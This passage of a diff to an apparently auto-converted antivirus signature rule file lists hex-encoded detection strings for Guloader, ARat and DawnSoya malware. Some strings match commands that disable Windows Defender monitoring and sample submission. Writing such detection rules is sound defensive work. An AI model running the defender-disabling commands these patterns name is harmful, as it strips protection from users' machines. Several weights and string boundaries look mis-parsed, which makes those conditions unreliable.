01 3c 00 73 00 74 00 61 00 74 00 75 00 73 00 43 00 6f 00 64 00 65 } //28483 $a_00_9 = {33 00 7d 00 29 00 20 00 28 00 01 00 24 01 3c 00 72 00 65 00 61 00 73 00 6f 00 6e 00 50 00 68 00 72 00 61 00 73 00 65 00 3e 00 2e 00 2b 00 29 00 24 00 01 00 18 01 3c 00 66 00 69 00 65 00 6c 00 64 00 4e 00 61 00 6d 00 65 00 3e 00 5b 00 01 00 1e 01 3c 00 70 00 72 00 6f 00 74 00 6f 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 3e 00 5b 00 01 00 22 01 53 00 68 00 65 00 6c } //100 - $a_00_11 = {20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 2e 00 00 00 78 f2 02 00 1a 00 1a 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 52 61 74 2e 4e 45 41 41 21 4d 54 42 00 05 00 12 01 45 00 78 00 74 00 72 00 61 00 2e 00 64 00 6c 00 6c 00 02 00 56 01 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e } //105 - $a_00_13 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 } //32 - $a_01_15 = {53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 53 00 75 00 62 00 6d 00 69 00 74 00 53 00 61 00 6d 00 70 00 6c 00 65 00 73 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 20 00 32 00 } //2 Set-MpPreference -SubmitSamplesConsent 2 - $a_01_16 = {2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 } //2 -DisableBehaviorMonitoring + $a_00_11 = {20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 2e 00 00 00 78 f1 02 00 05 00 05 00 14 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 53 4d 21 4d 54 42 00 01 00 27 01 73 6f 63 69 61 6c 62 65 67 69 76 65 6e 68 65 64 65 6e 5c 68 61 6c 6c 75 63 69 6e 61 74 69 6f 6e 65 72 73 2e 64 6c 6c 01 00 28 01 42 } //105 + $a_64_12 = {6b 69 66 74 65 72 6e 65 73 5c 70 72 6f 74 6f 68 69 73 74 6f 72 69 61 6e 5c 4b 6e 75 73 65 73 31 38 37 01 00 12 01 42 61 74 63 68 6b 6f 6d 6d 61 6e 64 6f 73 2e 74 78 74 01 00 12 01 4e 6f 74 61 6e 64 75 64 61 32 35 5c 46 6f 72 64 79 72 01 00 1a 01 6f 75 74 73 69 67 68 5c 65 6e 6b 65 64 72 6f 6e 6e 69 6e 67 65 72 2e 69 6e 69 01 00 } //24929 + $a_75_13 = {73 69 66 69 65 72 5c 73 74 69 6b 70 72 76 65 73 74 61 6e 64 61 72 64 61 66 76 69 67 65 6c 73 65 72 6e 65 2e 6c 6e 6b 01 00 14 01 4f 70 72 65 74 74 65 6c 73 65 73 67 65 62 79 72 2e 69 6e 69 01 00 24 01 4f 6d 62 79 67 6e 69 6e 67 73 6b 6f 6e 74 6f 65 72 73 5c 73 6b 75 64 73 6d 61 61 6c 73 62 67 65 72 6e 65 73 01 00 10 01 75 6e 64 61 6d 5c 74 } //298 + $a_64_14 = {2e 76 61 6c 01 00 18 01 72 6f 73 65 6d 61 72 79 5c 75 6e 64 73 69 67 65 6e 64 65 73 2e 50 65 6e 01 00 30 01 53 6f 66 74 77 61 72 65 5c 47 6f 64 6b 65 6e 64 65 6c 73 65 72 73 38 35 5c 41 6c 65 6b 73 61 6e 64 72 5c 4b 6f 6e 74 6f 72 6c 72 6c 69 6e 67 65 01 00 2a 01 41 76 65 72 73 65 72 6e 65 } //27765 + $a_43_15 = {6e 67 72 61 74 75 6c 61 6e 74 5c 4c 69 6d 70 69 64 6e 65 73 73 31 35 30 2e 41 6e 61 01 00 27 01 4b 79 73 74 62 6f 65 72 73 5c 4b 6e 6f 67 6c 65 6d 61 72 76 73 75 6e 64 65 72 73 67 65 6c 73 65 72 6e 65 2e 53 6e 65 01 00 24 01 45 6c 65 63 74 72 6f 6f 70 74 69 63 5c 55 74 61 6b } //9587 + $a_6d_16 = {6c 69 67 68 65 64 65 72 6e 65 2e 50 72 6f 01 00 22 01 53 6f 66 74 77 61 72 65 5c 46 65 6d 69 6e 69 7a 61 74 69 6f 6e 73 31 34 39 5c 46 6f 72 73 74 65 61 6c 01 00 1a 01 70 6c 61 73 6d 6f 70 68 61 67 79 5c 66 69 73 6b 65 74 75 72 65 6e 2e 62 79 74 01 00 21 01 74 65 6c 65 6b 69 6e 65 73 69 73 5c 45 66 74 65 72 6c 61 64 65 6c 73 } //25966 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*125+(#a_00_3 & 1)*32+(#a_00_4 & 1)*101+(#a_00_6 & 1)*48+(#a_65_7 & 1)*28483+(#a_00_9 & 1)*100+(#a_00_11 & 1)*105+(#a_00_13 & 1)*32+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2) >=17 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*125+(#a_00_3 & 1)*32+(#a_00_4 & 1)*101+(#a_00_6 & 1)*48+(#a_65_7 & 1)*28483+(#a_00_9 & 1)*100+(#a_00_11 & 1)*105+(#a_64_12 & 1)*24929+(#a_75_13 & 1)*298+(#a_64_14 & 1)*27765+(#a_43_15 & 1)*9587+(#a_6d_16 & 1)*25966) >=17 } -rule _InfrastructureShared_20249{ +rule _InfrastructureShared_21469{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 14 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 53 4d 21 4d 54 42 00 01 00 27 01 73 6f 63 69 61 6c 62 65 67 69 76 65 6e 68 65 64 65 6e 5c 68 61 6c 6c 75 63 69 6e 61 74 69 6f 6e 65 72 73 2e 64 6c 6c 01 00 28 01 42 61 61 6e 64 } //18467 + $a_66_1 = {65 72 6e 65 73 5c 70 72 6f 74 6f 68 69 73 74 6f 72 69 61 6e 5c 4b 6e 75 73 65 73 31 38 37 01 00 12 01 42 61 74 63 68 6b 6f 6d 6d 61 6e 64 6f 73 2e 74 78 74 01 00 12 01 4e 6f 74 61 6e 64 75 64 61 32 35 5c 46 6f 72 64 79 72 01 00 1a 01 6f 75 74 73 69 67 68 5c 65 6e 6b 65 64 72 6f 6e 6e 69 6e 67 65 72 2e 69 6e 69 01 } //27507 + $a_72_2 = {73 } //10752 s + $a_69_3 = {72 5c 73 74 69 6b 70 72 76 65 73 74 61 6e 64 61 72 64 61 66 76 69 67 65 6c 73 65 72 6e 65 2e 6c 6e 6b 01 00 14 01 4f 70 72 65 74 74 65 6c 73 65 73 67 65 62 79 72 2e 69 6e 69 01 00 24 01 4f 6d 62 79 67 6e 69 6e 67 73 6b 6f 6e 74 6f 65 72 73 5c 73 6b 75 64 73 6d 61 61 6c 73 62 67 65 72 6e 65 73 01 00 10 01 } //26995 + $a_61_4 = {5c 74 75 6c 61 64 69 2e 76 61 6c 01 00 18 01 72 6f 73 65 6d 61 72 79 5c 75 6e 64 73 69 67 65 6e 64 65 73 2e 50 65 6e 01 00 30 01 53 6f 66 74 77 61 72 65 5c 47 6f 64 6b 65 6e 64 65 6c 73 65 72 73 38 35 5c 41 6c 65 6b 73 61 6e 64 72 5c 4b 6f 6e 74 6f 72 6c 72 6c 69 6e 67 65 01 00 2a 01 41 76 65 72 73 } //28277 + $a_65_5 = {25 5c 43 6f 6e 67 72 61 74 75 6c 61 6e 74 5c 4c 69 6d 70 69 64 6e 65 73 73 31 35 30 2e 41 6e 61 01 00 27 01 4b 79 73 74 62 6f 65 72 73 5c 4b 6e 6f 67 6c 65 6d 61 72 76 73 75 6e 64 65 72 73 67 65 6c 73 65 72 6e 65 2e 53 6e 65 01 00 24 01 45 6c 65 63 74 72 6f 6f 70 74 69 63 5c 55 74 61 6b 6e 65 6d 6d 65 6c 69 67 68 65 64 65 72 6e } //29285 + $a_72_6 = {01 00 22 01 53 6f 66 74 77 61 72 65 5c 46 65 6d 69 6e 69 7a 61 74 69 6f 6e 73 31 34 39 5c 46 6f 72 73 74 65 61 6c 01 00 1a 01 70 6c 61 73 6d 6f 70 68 61 67 79 5c 66 69 73 6b 65 74 75 72 65 6e 2e 62 79 74 01 00 21 01 74 65 6c 65 6b 69 6e 65 } //11877 + $a_5c_7 = {66 74 65 72 6c 61 64 65 6c 73 65 73 73 79 6e 64 65 72 6e 65 01 00 1a 01 66 72 65 6e 63 68 79 5c 52 65 74 72 6f 63 65 64 65 6e 74 32 30 34 2e 66 72 73 01 00 29 01 46 6f 72 68 61 61 62 6e 69 6e 67 73 66 75 6c 64 65 25 5c 65 79 65 6c 65 73 73 5c 6b 6c 69 72 72 65 6e 64 65 73 2e 62 75 74 01 00 18 01 41 73 63 65 6e 63 65 5c 55 64 73 65 6e 64 65 6c } //26995 + $a_73_8 = {6c 69 74 00 00 78 f2 02 00 1a 00 1a 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 52 61 74 2e 4e 45 41 41 21 4d 54 42 00 05 00 12 01 45 00 78 00 74 00 72 00 61 00 2e 00 64 00 6c 00 6c 00 02 00 56 01 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 44 } //25971 + $a_00_10 = {6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 02 00 50 01 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 53 00 75 00 62 00 6d 00 69 00 74 00 53 00 61 00 6d 00 } //97 + $a_00_11 = {65 00 73 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 20 00 32 00 02 00 34 01 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 02 00 30 01 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 6c 00 6f 00 63 00 6b 00 } //112 + $a_00_12 = {46 00 69 00 72 00 73 00 74 00 53 00 65 00 65 00 6e 00 02 00 2c 01 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 49 00 4f 00 41 00 56 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 02 00 42 01 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 49 00 6e 00 74 00 72 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 65 00 76 00 65 00 6e 00 } //65 + $a_00_13 = {6f 00 6e 00 53 00 79 00 73 00 74 00 65 00 6d 00 02 00 36 01 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 63 00 61 00 6e 00 4f 00 6e 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 45 00 6e 00 61 00 62 00 6c 00 65 00 02 00 82 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 50 00 6f 00 6c 00 69 00 63 } //116 + $a_00_15 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 52 00 65 00 61 00 6c 00 2d 00 54 00 69 00 6d 00 65 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 } //115 Microsoft\Windows Defender\Real-Time Protectio + $a_00_16 = {1e 01 } //110 Ğ + $a_00_17 = {73 00 61 00 62 00 6c 00 65 00 44 00 65 00 66 00 65 00 64 00 6e 00 65 00 72 00 02 00 18 01 62 00 6c 00 61 00 6e 00 6b 00 73 00 63 00 72 00 65 00 65 00 6e 00 2b 00 01 00 22 01 50 00 6c 00 75 00 67 00 69 00 6e 00 20 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 21 00 00 00 78 f3 02 00 0b 00 0b 00 0e 00 21 } //100 + $a_4c_18 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 61 77 6e 53 6f 79 61 2e 41 21 64 68 61 00 05 00 2c 03 83 fe 20 72 90 01 01 25 1f 00 00 80 79 90 01 01 48 83 c8 e0 40 0f 28 0d 90 01 03 00 8b d6 0f 28 15 90 01 } //21539 + $a_d0_19 = {47 10 90 00 05 00 2c 01 66 0f 1f 44 00 00 0f 10 40 f0 83 c1 20 8d 40 20 66 0f fc c1 0f 11 40 d0 0f 10 40 d0 66 0f ef c2 0f 11 40 } //3 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*27507+(#a_72_2 & 1)*10752+(#a_69_3 & 1)*26995+(#a_61_4 & 1)*28277+(#a_65_5 & 1)*29285+(#a_72_6 & 1)*11877+(#a_5c_7 & 1)*26995+(#a_73_8 & 1)*25971+(#a_00_10 & 1)*97+(#a_00_11 & 1)*112+(#a_00_12 & 1)*65+(#a_00_13 & 1)*116+(#a_00_15 & 1)*115+(#a_00_16 & 1)*110+(#a_00_17 & 1)*100+(#a_4c_18 & 1)*21539+(#a_d0_19 & 1)*3) >=5 + +} +rule _InfrastructureShared_21470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0c 00 21 " @@ -256516,7 +271786,7 @@ rule _InfrastructureShared_20249{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*83+(#a_00_4 & 1)*101+(#a_00_5 & 1)*101+(#a_00_7 & 1)*79+(#a_00_8 & 1)*101+(#a_01_9 & 1)*1+(#a_f3_10 & 1)*0+(#a_66_11 & 1)*16400) >=26 } -rule _InfrastructureShared_20250{ +rule _InfrastructureShared_21471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0e 00 21 " @@ -256536,7 +271806,7 @@ rule _InfrastructureShared_20250{ ((#a_4c_0 & 1)*21539+(#a_d0_1 & 1)*3+(#a_40_2 & 1)*4048+(#a_c2_3 & 1)*3942+(#a_00_5 & 1)*73+(#a_00_7 & 1)*49+(#a_00_8 & 1)*52+(#a_00_9 & 1)*8812+(#a_00_11 & 1)*111+(#a_32_12 & 1)*14918+(#a_31_13 & 1)*-11481) >=11 } -rule _InfrastructureShared_20251{ +rule _InfrastructureShared_21472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -256549,7 +271819,7 @@ rule _InfrastructureShared_20251{ ((#a_46_0 & 1)*16675+(#a_f9_1 & 1)*15511+(#a_91_2 & 1)*19662+(#a_2b_3 & 1)*-3633) >=2 } -rule _InfrastructureShared_20252{ +rule _InfrastructureShared_21473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -256570,7 +271840,7 @@ rule _InfrastructureShared_20252{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_5a_2 & 1)*16762+(#a_00_4 & 1)*98+(#a_61_5 & 1)*28524+(#a_2d_6 & 1)*31277+(#a_90_7 & 1)*27685+(#a_90_8 & 1)*11568+(#a_70_9 & 1)*8308+(#a_39_10 & 1)*12378+(#a_6e_11 & 1)*17247+(#a_00_12 & 1)*109) >=12 } -rule _InfrastructureShared_20253{ +rule _InfrastructureShared_21474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -256586,7 +271856,7 @@ rule _InfrastructureShared_20253{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*-27648+(#a_00_2 & 1)*83+(#a_00_3 & 1)*48+(#a_00_4 & 1)*80+(#a_00_6 & 1)*108+(#a_00_7 & 1)*101) >=3 } -rule _InfrastructureShared_20254{ +rule _InfrastructureShared_21475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 11 00 21 " @@ -256606,7 +271876,7 @@ rule _InfrastructureShared_20254{ ((#a_77_0 & 1)*16675+(#a_70_1 & 1)*270+(#a_6f_2 & 1)*28279+(#a_3f_3 & 1)*5120+(#a_69_4 & 1)*30781+(#a_00_5 & 1)*19031+(#a_00_7 & 1)*51+(#a_00_8 & 1)*340+(#a_41_11 & 1)*8448+(#a_00_13 & 1)*119+(#a_00_15 & 1)*101) >=3 } -rule _InfrastructureShared_20255{ +rule _InfrastructureShared_21476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -256621,7 +271891,7 @@ rule _InfrastructureShared_20255{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*107+(#a_00_4 & 1)*110+(#a_00_6 & 1)*111+(#a_00_7 & 1)*87) >=3 } -rule _InfrastructureShared_20256{ +rule _InfrastructureShared_21477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -256639,7 +271909,7 @@ rule _InfrastructureShared_20256{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_74_2 & 1)*28018+(#a_00_3 & 1)*67+(#a_61_4 & 1)*11585+(#a_00_6 & 1)*52+(#a_69_7 & 1)*26999+(#a_7a_8 & 1)*24841+(#a_39_9 & 1)*12378) >=3 } -rule _InfrastructureShared_20257{ +rule _InfrastructureShared_21478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 14 00 21 " @@ -256667,7 +271937,7 @@ rule _InfrastructureShared_20257{ ((#a_5f_0 & 1)*25635+(#a_01_2 & 1)*10+(#a_03_3 & 1)*10+(#a_03_4 & 1)*10+(#a_03_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_03_8 & 1)*10+(#a_03_9 & 1)*10+(#a_03_10 & 1)*10+(#a_01_11 & 1)*10+(#a_03_12 & 1)*10+(#a_03_13 & 1)*1+(#a_03_14 & 1)*10+(#a_01_15 & 1)*1+(#a_00_16 & 1)*-100+(#a_fa_17 & 1)*1+(#a_00_18 & 1)*93+(#a_00_19 & 1)*32) >=11 } -rule _InfrastructureShared_20258{ +rule _InfrastructureShared_21479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -256683,7 +271953,7 @@ rule _InfrastructureShared_20258{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_7a_3 & 1)*24922+(#a_00_4 & 1)*105+(#a_78_5 & 1)*14968+(#a_64_6 & 1)*10240+(#a_90_7 & 1)*27748) >=3 } -rule _InfrastructureShared_20259{ +rule _InfrastructureShared_21480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -256706,7 +271976,7 @@ rule _InfrastructureShared_20259{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11885+(#a_6a_3 & 1)*29264+(#a_50_4 & 1)*10496+(#a_74_5 & 1)*25962+(#a_75_6 & 1)*29541+(#a_6d_7 & 1)*28486+(#a_6d_8 & 1)*28486+(#a_39_9 & 1)*11873+(#a_00_12 & 1)*47+(#a_00_14 & 1)*116+(#a_02_15 & 1)*5+(#a_02_16 & 1)*5+(#a_02_17 & 1)*5) >=18 } -rule _InfrastructureShared_20260{ +rule _InfrastructureShared_21481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -256722,7 +271992,7 @@ rule _InfrastructureShared_20260{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*103+(#a_00_3 & 1)*104+(#a_00_5 & 1)*46+(#a_00_6 & 1)*114+(#a_00_8 & 1)*46+(#a_00_9 & 1)*115) >=7 } -rule _InfrastructureShared_20261{ +rule _InfrastructureShared_21482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -256737,7 +272007,7 @@ rule _InfrastructureShared_20261{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_00_4 & 1)*41+(#a_00_5 & 1)*98+(#a_2d_6 & 1)*14637+(#a_7a_7 & 1)*24922) >=3 } -rule _InfrastructureShared_20262{ +rule _InfrastructureShared_21483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 33 00 14 00 21 " @@ -256766,7 +272036,7 @@ rule _InfrastructureShared_20262{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*5+(#a_01_11 & 1)*5+(#a_01_12 & 1)*5+(#a_01_13 & 1)*5+(#a_01_14 & 1)*5+(#a_01_15 & 1)*5+(#a_01_16 & 1)*5+(#a_01_17 & 1)*5+(#a_01_18 & 1)*5+(#a_01_19 & 1)*5) >=51 } -rule _InfrastructureShared_20263{ +rule _InfrastructureShared_21484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 09 00 21 " @@ -256783,7 +272053,7 @@ rule _InfrastructureShared_20263{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_2d_2 & 1)*2305+(#a_00_3 & 1)*46+(#a_01_4 & 1)*-28672+(#a_5a_5 & 1)*16697+(#a_00_6 & 1)*114+(#a_2d_8 & 1)*2305) >=11 } -rule _InfrastructureShared_20264{ +rule _InfrastructureShared_21485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -256804,7 +272074,7 @@ rule _InfrastructureShared_20264{ ((#a_46_0 & 1)*16675+(#a_2a_1 & 1)*-4368+(#a_01_2 & 1)*-28626+(#a_30_3 & 1)*12336+(#a_90_4 & 1)*15224+(#a_78_5 & 1)*14849+(#a_5f_6 & 1)*23908+(#a_67_7 & 1)*14848+(#a_6e_8 & 1)*18028+(#a_00_9 & 1)*3428+(#a_61_10 & 1)*28524+(#a_6f_11 & 1)*12082) >=2 } -rule _InfrastructureShared_20265{ +rule _InfrastructureShared_21486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1d 00 21 " @@ -256839,7 +272109,7 @@ rule _InfrastructureShared_20265{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*17476+(#a_74_2 & 1)*25973+(#a_69_3 & 1)*28239+(#a_46_4 & 1)*29281+(#a_61_5 & 1)*24428+(#a_3f_6 & 1)*5888+(#a_6d_7 & 1)*25456+(#a_00_8 & 1)*68+(#a_30_10 & 1)*16384+(#a_41_11 & 1)*17463+(#a_42_12 & 1)*12345+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_02_23 & 1)*0+(#a_00_24 & 1)*123+(#a_00_26 & 1)*49+(#a_00_28 & 1)*49) >=3 } -rule _InfrastructureShared_20266{ +rule _InfrastructureShared_21487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -256859,7 +272129,7 @@ rule _InfrastructureShared_20266{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*13625+(#a_39_2 & 1)*13106+(#a_30_3 & 1)*14387+(#a_37_4 & 1)*14660+(#a_31_5 & 1)*14145+(#a_46_6 & 1)*14131+(#a_32_7 & 1)*17718+(#a_46_9 & 1)*17457+(#a_65_10 & 1)*24903+(#a_72_11 & 1)*28531) >=6 } -rule _InfrastructureShared_20267{ +rule _InfrastructureShared_21488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -256878,7 +272148,7 @@ rule _InfrastructureShared_20267{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_4 & 1)*125+(#a_00_6 & 1)*49+(#a_00_8 & 1)*49+(#a_00_10 & 1)*45+(#a_00_11 & 1)*45+(#a_00_12 & 1)*45+(#a_00_13 & 1)*45+(#a_00_14 & 1)*101) >=15 } -rule _InfrastructureShared_20268{ +rule _InfrastructureShared_21489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -256897,7 +272167,7 @@ rule _InfrastructureShared_20268{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28516+(#a_00_2 & 1)*105+(#a_00_4 & 1)*102+(#a_00_6 & 1)*101+(#a_47_7 & 1)*21834+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=1 } -rule _InfrastructureShared_20269{ +rule _InfrastructureShared_21490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -256924,7 +272194,7 @@ rule _InfrastructureShared_20269{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25185+(#a_2e_2 & 1)*25458+(#a_6d_3 & 1)*28486+(#a_69_4 & 1)*28530+(#a_73_5 & 1)*17986+(#a_6f_6 & 1)*11886+(#a_6e_7 & 1)*26995+(#a_f2_8 & 1)*1025+(#a_90_9 & 1)*-7487+(#a_e9_10 & 1)*-7999+(#a_00_11 & 1)*796+(#a_e8_12 & 1)*497+(#a_cb_14 & 1)*23299+(#a_f1_15 & 1)*6+(#a_05_16 & 1)*28015+(#a_20_17 & 1)*2560+(#a_61_18 & 1)*27906) >=19 } -rule _InfrastructureShared_20270{ +rule _InfrastructureShared_21491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 1e 00 21 " @@ -256958,7 +272228,7 @@ rule _InfrastructureShared_20270{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*786+(#a_f1_2 & 1)*257+(#a_2c_4 & 1)*19595+(#a_2c_5 & 1)*19595+(#a_f1_6 & 1)*1025+(#a_c1_7 & 1)*3328+(#a_00_8 & 1)*2448+(#a_cb_10 & 1)*23299+(#a_83_12 & 1)*4352+(#a_1e_13 & 1)*-16106+(#a_00_14 & 1)*11824+(#a_74_15 & 1)*24941+(#a_05_16 & 1)*28015+(#a_31_18 & 1)*8205+(#a_6e_19 & 1)*10240+(#a_61_20 & 1)*29295+(#a_0d_21 & 1)*5+(#a_00_22 & 1)*144+(#a_2d_23 & 1)*27906+(#a_00_24 & 1)*97+(#a_00_25 & 1)*117+(#a_00_26 & 1)*111+(#a_00_27 & 1)*105+(#a_00_29 & 1)*105) >=1 } -rule _InfrastructureShared_20271{ +rule _InfrastructureShared_21492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 15 00 21 " @@ -256985,7 +272255,7 @@ rule _InfrastructureShared_20271{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*12553+(#a_6f_2 & 1)*11886+(#a_6d_3 & 1)*25390+(#a_00_4 & 1)*4101+(#a_30_5 & 1)*14130+(#a_63_6 & 1)*28018+(#a_30_7 & 1)*14130+(#a_6d_8 & 1)*28261+(#a_61_10 & 1)*6656+(#a_90_11 & 1)*28515+(#a_37_12 & 1)*12553+(#a_42_13 & 1)*19745+(#a_00_14 & 1)*111+(#a_00_15 & 1)*101+(#a_00_17 & 1)*101+(#a_00_18 & 1)*116+(#a_00_20 & 1)*107) >=2 } -rule _InfrastructureShared_20272{ +rule _InfrastructureShared_21493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -257000,7 +272270,7 @@ rule _InfrastructureShared_20272{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_00_3 & 1)*111+(#a_00_4 & 1)*97+(#a_00_5 & 1)*105+(#a_00_6 & 1)*120) >=8 } -rule _InfrastructureShared_20273{ +rule _InfrastructureShared_21494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 19 00 21 " @@ -257031,7 +272301,7 @@ rule _InfrastructureShared_20273{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_01_2 & 1)*3072+(#a_6f_3 & 1)*25938+(#a_01_4 & 1)*25955+(#a_6f_5 & 1)*25703+(#a_74_6 & 1)*17971+(#a_41_7 & 1)*30514+(#a_7d_8 & 1)*-955+(#a_00_10 & 1)*83+(#a_73_11 & 